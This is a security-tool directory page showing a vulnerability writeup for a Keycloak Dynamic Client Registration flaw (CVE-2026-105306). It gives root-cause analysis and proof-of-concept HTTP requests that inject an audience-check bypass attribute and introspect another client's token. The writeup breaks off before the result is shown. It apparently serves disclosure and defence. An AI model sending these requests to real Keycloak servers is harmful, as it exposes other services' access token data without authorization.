Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-105306 — Writeup and proof of concept for CVE-2026-105306, a Keycloak Dynamic Client Registration flaw that lets an Initial Access Token holder bypass token introspection audience checks. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-105306
Authentication & AuthorizationVulnerability AnalysisExploitationWeb SecurityIdentity & Access Management (IAM)Papers & Research
GitHubdungsocool/cve-2026-105306

CVE-2026-105306

Writeup and proof of concept for CVE-2026-105306, a Keycloak Dynamic Client Registration flaw that lets an Initial Access Token holder bypass token introspection audience checks.

Repository anzeigen
vor 1 MonatNoch nicht geprüft
Teilen
Inhalt in der angeforderten Sprache nicht verfügbar. Englische Version wird angezeigt.

CVE-2026-105306: Token Introspection Audience Bypass via Dynamic Client Registration in Keycloak

CVE ID: CVE-2026-105306 · CWE: CWE-862 · CVSS 3.1: 6.5 (Medium)
Affected: Keycloak 26.4.0 – 26.8.0 / Red Hat Build of Keycloak


1. Overview

Keycloak is a widely-deployed open-source Identity and Access Management (IAM) solution maintained by Red Hat, providing SSO, identity brokering, and user federation capabilities for enterprise applications.

During security research into Keycloak's client lifecycle management, I identified a critical flaw in the Dynamic Client Registration (DCR) flow: the registration endpoint fails to filter security-sensitive internal client attributes. This allows an authenticated registrant — holding only a standard Initial Access Token (IAT) — to inject the privileged allow.token.introspection.without.audience.check attribute during client creation.

Once set, this attribute instructs Keycloak's token introspection provider to skip audience verification entirely, enabling the attacker's client to introspect any active access token in the realm — regardless of the token's intended audience.


2. Technical Background

2.1 Token Introspection & Audience Isolation (RFC 7662)

In a standard OAuth 2.0 deployment, resource servers validate bearer tokens by calling the authorization server's introspection endpoint:

POST /realms/{realm}/protocol/openid-connect/token/introspect

Keycloak enforces audience restrictions: a client can only introspect tokens where its client_id appears in the token's aud claim. This boundary is critical in multi-tenant and microservice architectures where multiple clients share a realm but must remain isolated.

However, Keycloak provides an internal administrator-only toggle:

allow.token.introspection.without.audience.check = true

When enabled on a client, AccessTokenIntrospectionProvider deliberately skips audience verification. This feature is intended exclusively for privileged use cases (centralized audit gateways, monitoring services) and should only be configurable by Realm Administrators through the Admin Console or Admin REST API.

2.2 Dynamic Client Registration (RFC 7591)

DCR enables authorized entities to register OAuth 2.0 clients programmatically by POSTing client metadata to:

POST /realms/{realm}/clients-registrations/openid-connect

Authentication is performed via an Initial Access Token — a scoped credential that grants registration rights without full administrative privileges. Because DCR registrants are not administrators, the registration pipeline must strictly sanitize incoming attributes to prevent privilege escalation.


3. Root Cause Analysis

The vulnerability originates in Keycloak's AbstractClientRegistrationProvider and the RepresentationToModel mapping layer.

The Missing Filter

┌──────────────────────────────────────────────────────────────────┐
│                     DCR Request Flow                             │
│                                                                  │
│  Attacker (IAT holder)                                           │
│       │                                                          │
│       ▼                                                          │
│  POST /clients-registrations/openid-connect                      │
│  {                                                               │
│    "client_name": "attacker-client",                             │
│    "attributes": {                                               │
│      "allow.token.introspection.without.audience.check": "true"  │
│    }                                                             │
│  }                                                               │
│       │                                                          │
│       ▼                                                          │
│  AbstractClientRegistrationProvider                              │
│       │                                                          │
│       │   NO FILTERING of internal attributes                    │
│       │                                                          │
│       ▼                                                          │
│  RepresentationToModel.createClient()                            │
│       │                                                          │
│       ▼                                                          │
│  ClientModel persisted with privileged attribute                 │
└──────────────────────────────────────────────────────────────────┘
  1. The DCR endpoint deserializes the incoming JSON payload into a ClientRepresentation object.
  2. AbstractClientRegistrationProvider forwards the entire unfiltered attributes map to RepresentationToModel.createClient().
  3. The internal flag allow.token.introspection.without.audience.check is persisted directly into the client model in the database — without any validation or stripping.

Exploitation Path in AccessTokenIntrospectionProvider

When the attacker's client subsequently calls the introspection endpoint:

// Simplified flow in AccessTokenIntrospectionProvider
String bypassFlag = client.getAttribute(
    "allow.token.introspection.without.audience.check"
);

if (Boolean.parseBoolean(bypassFlag)) {
    // ⚠ AUDIENCE CHECK COMPLETELY BYPASSED
    // Full token metadata returned regardless of audience
} else {
    // Normal flow: verify client is in token's audience
    if (!isClientInAudience(client, token)) {
        return inactive();
    }
}

Because the flag was injected during registration, audience verification is skipped entirely.


4. Proof of Concept

Prerequisites

  • A running Keycloak instance (versions 26.4.0 – 26.8.0)
  • A valid Initial Access Token for the target realm
  • A victim access token issued to a different client in the same realm

Step 1: Register Malicious Client via DCR

POST /realms/target-realm/clients-registrations/openid-connect HTTP/1.1
Host: keycloak.target.com
Authorization: Bearer <INITIAL_ACCESS_TOKEN>
Content-Type: application/json

{
  "client_name": "attacker-introspection-client",
  "redirect_uris": ["https://attacker.com/callback"],
  "grant_types": ["client_credentials"],
  "token_endpoint_auth_method": "client_secret_basic",
  "attributes": {
    "allow.token.introspection.without.audience.check": "true"
  }
}

Response (201 Created):

{
  "client_id": "attacker-introspection-client",
  "client_secret": "generated-secret-abc123",
  "registration_access_token": "...",
  "client_name": "attacker-introspection-client",
  "redirect_uris": ["https://attacker.com/callback"],
  "attributes": {
    "allow.token.introspection.without.audience.check": "true"
  }
}

✅ The privileged attribute is accepted and persisted without restriction.

Step 2: Introspect an Arbitrary Victim Token

Using the registered client credentials, the attacker introspects a token that was issued to an entirely different client (internal-billing-service):

POST /realms/target-realm/protocol/openid-connect/token/introspect HTTP/1.1
Host: keycloak.target.com
Authorization: Basic <base64(attacker-introspection-client:generated-secret-abc123)>
Content-Type: application/x-www-form-urlencoded

token=<VICTIM_ACCESS_TOKEN>&token_type_hint=access_token

Step 3: Observe Audience Bypass

Despite attacker-introspection-client not being in the token's aud claim, Keycloak returns full token details:

Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite, aber nur USB & plattformübergreifend.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer ist eine Open-Source-Plattform für Privileged Access Management (PAM), die DevOps- und IT-Teams bedarfsgesteuerten und sicheren Zugriff auf SSH-, RDP-, Kubernetes-, Datenbank- und RemoteApp-Endpunkte über einen Webbrowser bietet.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    417
  • 6

    SafeLine

    chaitin/safeline

    Selbst gehosteter WAF und Reverse Proxy, der bösartigen HTTP-Verkehr filtert, SQL-Injection, XSS und Bot-Angriffe blockiert, mit Ratenbegrenzung und dynamischer HTML/JS-Verschlüsselung.

    400

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →